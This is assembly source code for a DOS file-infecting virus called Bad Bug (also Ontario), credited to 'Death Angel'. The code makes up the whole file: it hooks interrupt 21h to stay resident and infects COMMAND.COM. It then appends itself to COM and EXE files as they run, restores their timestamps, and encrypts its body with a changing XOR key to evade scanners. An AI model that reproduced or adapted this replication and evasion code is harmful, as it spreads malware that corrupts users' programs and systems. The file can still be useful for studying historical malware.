comment * Older version of Bad Bug, also known as Ontario virus. --> Written by Death Angel <-- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- This virus first puts itself in memory, if not already. Infects the C:\COMMAND.COM file, then infects other files as they are loaded. It appends itself onto COM and EXE files. Identification method: ====================== Checking if already in memory - INT 21/AH=FF, returns AX=0 Checking if COM is infected - 4th byte in file "V" Checking if EXE is infected - Instruction Pointer is at 1 * LOC_21 EQU 21H*4 REAL_SIZE equ offset EOF CODE SEGMENT PARA PUBLIC 'CODE' ASSUME CS:CODE, DS:CODE ORG 0h VBUG PROC FAR nop call MASTER_UNCODE VB01: call VB00 VB00: pop bp sub BP, +7 mov ax, -1 int 21h or ah, ah je GO_PROG push ds xor ax, ax mov ds, ax ;BIOS data area sub word ptr ds:[0413H], 2 lds bx, ds:[LOC_21] mov word ptr cs:[BP]+offset OLD_21, bx mov word ptr cs:[BP]+offset OLD_21+2, ds ;Get interrupt 21h vector mov bx, es dec bx mov ds, bx sub word ptr ds:[0003H], 2048/16 ;Paragraph size mov ax, ds:[0012H] ;Get high memory segment sub ax, 2048/16 ;Make room for ourself mov ds:[0012H], ax ;Save it mov es, ax push cs pop ds mov si, bp ;Put 0000 into SI (if EXE..) xor di, di mov cx, REAL_SIZE+4 ;Plus OLD_21 information! cld rep movsb mov ds, cx ;Put zero into DS cli ;Disable maskable interrupts mov word ptr ds:LOC_21, offset NEW_21 mov word ptr ds:LOC_21+2, ax sti ;Enable interrupts mov ax, 4BFFH ;Infect COMMAND.COM file! int 21h pop ds push ds pop es GO_PROG: ;Check if EXE or COM program? or bp, bp ;Are we an EXE file? je RUN_EXE RUN_COM: ;Run this infected .COM file lea si, [BP]+offset RUN_PROG mov di, 100H push di cld movsw movsw DUMB_ROUTINE PROC NEAR ret ;Do a local return DUMB_ROUTINE ENDP RUN_EXE: mov ax, es ;Get PSP segment add cs:word ptr RUN_PROG+2, ax ;Reallocate entry segment db 0EAh ;JMP 0000:0000 RUN_PROG db 0B4H, 04CH db 0CDH, 021H NEW_21: cmp ax, -1 jne NW00 inc ax ;Overflow to 0000 iret NW00: cmp ah, 4Bh ;Infect program being executed jne RUN_OLD_21 cmp al, 03 je RUN_OLD_21 cmp al, -1 jne RO00 push cs pop ds mov dx, offset COMMAND_FILE call INFECT_PROGRAM IRET RO00: call INFECT_PROGRAM RUN_OLD_21: jmp dword ptr cs:OLD_21 ;Do original interrupt INFECT_PROGRAM PROC NEAR ; ;When entering a normal Int 21/AH=4BH ;DS:DX -> Ptr to filename ;ES:BX -> Ptr to Parm Block ;AL -> 0 - Load/Run, 3 - Overlay ; push es push ds push dx push cx push bx push ax ; push si ; push di mov ax, 4300H ;Get file attribute call DO_21 jb NO_CLOSE test cl, 00000001b je VB04 and cl, 11111110b ;Turn off bit 0 (so you can write) mov ax, 4301H ;Set file attribute call DO_21 jb NO_CLOSE VB04: mov ax, 3D02h ;Open file for reading & writing call DO_21 VB05: JNB VB06 NO_CLOSE: JMP END_21 VB06: mov bx, ax ;Put new handle into BX push cs pop ds mov ax, 5700H ;Get file date call DO_21 mov ds:FILE_TIME, cx mov ds:FILE_DATE, dx mov dx, offset TMP_HEADER ;Load in COM/EXE ? file header mov cx, 1BH ;Size of header (for EXE, it doesn't ;matter the extra bytes loaded for ;COM files. mov ah, 3Fh ;Read from file call DO_21 VB10: jb CLOSE_END cmp word ptr ds:SIGN, 'ZM' ;Is this an EXE file? (MZ) je INFECT_EXE INFECT_COM: mov al, byte ptr SIGN+1 cmp al, byte ptr SIGN+3 je CLOSE_END xor dx, dx xor cx, cx mov ax, 4202H ;Seek from EOF call DO_21 VB15: jb CLOSE_END ;Returns DX:AX number of bytes seeked (Size of file) cmp ax, 0E000H ;Check file size ja CLOSE_END push ax mov ax, ds:word ptr [SIGN+0] mov word ptr ds:RUN_PROG+0, ax mov ax, ds:word ptr [SIGN+2] mov word ptr ds:RUN_PROG+2, ax pop ax sub ax, 3 ;Calculate jmp to End of file mov byte ptr ds:SIGN+0, 0E9H ;JMP FAR mov word ptr ds:SIGN+1, ax mov byte ptr ds:SIGN+3, al ;Identification code jmp FINISH_INFECT ;From here in, both EXE & COM files are infected the same ;The virus is written, seek to start of file, and re-write the Header INFECT_EXE: cmp word ptr ds:START_IP, 1 jne VB19 VB18: CLOSE_END: jmp END_INFECT VB19: mov ax, ds:[FILE_SIZE] ;Get file size mov cx, 200H mul cx ;Convert to bytes offset ;If filesize, if bigger then 64K, the overflow is put into DX push ax push dx mov cl, 04h ror dx, cl shr ax, cl ;Convert to paragraphs add ax, dx sub ax, ds:SIZE_HEADER PUSH AX mov ax, ds:START_IP mov word ptr ds:RUN_PROG, ax mov ax, ds:START_CS add ax, 0010H mov word ptr ds:RUN_PROG+2, ax POP AX mov word ptr ds:START_CS, ax mov word ptr ds:START_IP, +1 inc word ptr ds:FILE_SIZE pop cx pop dx mov ax, 4200H ;Goto end of file call DO_21 VB20: jb VB25 FINISH_INFECT: xor ds:byte ptr [DC00]+1, 08h ;Toggle NEG/NOT xor ax, ax mov ds, ax mov AL, byte ptr ds:[46CH] ;Lowest byte of timer count push cs pop ds push cs pop es mov ds:[CODE_BYTE], AL ;Put high byte of file seek xor si, si mov di, offset REAL_EOF push di ;Push pointer mov cx, offset EOF cld rep movsb mov si, offset REAL_EOF+04H ;REAL_EOF+VB01 call DECODE pop dx ;Restore pointer mov cx, REAL_SIZE mov ah, 40h call DO_21 JB END_INFECT xor cx, cx xor dx, dx ;Distance to seek into file mov ax, 4200h ;Seek from start of file call DO_21 jb END_INFECT mov dx, offset TMP_HEADER ;Ptr to New modified header mov cx, 1BH ;Size of header mov ah, 40h ;Write to file call DO_21 VB25: END_INFECT: mov dx, ds:FILE_DATE mov cx, ds:FILE_TIME mov ax, 5701h ;Set file date/time call DO_21 CLOSE_FILE: mov ah, 3Eh ;Close the file call DO_21 END_21: ; pop di ; pop si pop ax pop bx pop cx pop dx pop ds pop es RET DO_21: pushf call dword ptr cs:OLD_21 ret COMMAND_FILE DB 'C:\COMMAND.COM',0 MASTER_DECODE: CODE_BYTE DB 80H MASTER_UNCODE: POP SI PUSH SI MOV AL, BYTE PTR CS:[SI+CODE_BYTE-OFFSET VB01] DECODE: MOV CX, OFFSET MASTER_DECODE-OFFSET VB01 DC00: NOT AL XOR CS:BYTE PTR [SI], AL INC SI LOOP DC00 RET INFECT_PROGRAM ENDP EOF: OLD_21 DD ? FILE_TIME DW ? FILE_DATE DW ? TMP_HEADER: SIGN DW ? LEN_IMAGE_MOD DW ? FILE_SIZE DW ? ;In 512-increments NUM_REAL DW ? SIZE_HEADER DW ? MIN_ABOVE DW ? MAX_ABOVE DW ? STACK_SS DW ? STACK_SP DW ? CHECKSUM DW ? START_IP DW ? START_CS DW ? DISPLAY_REAL DW ? OVERLAY_NUM DW ? REAL_EOF: VBUG ENDP CODE ENDS END VBUG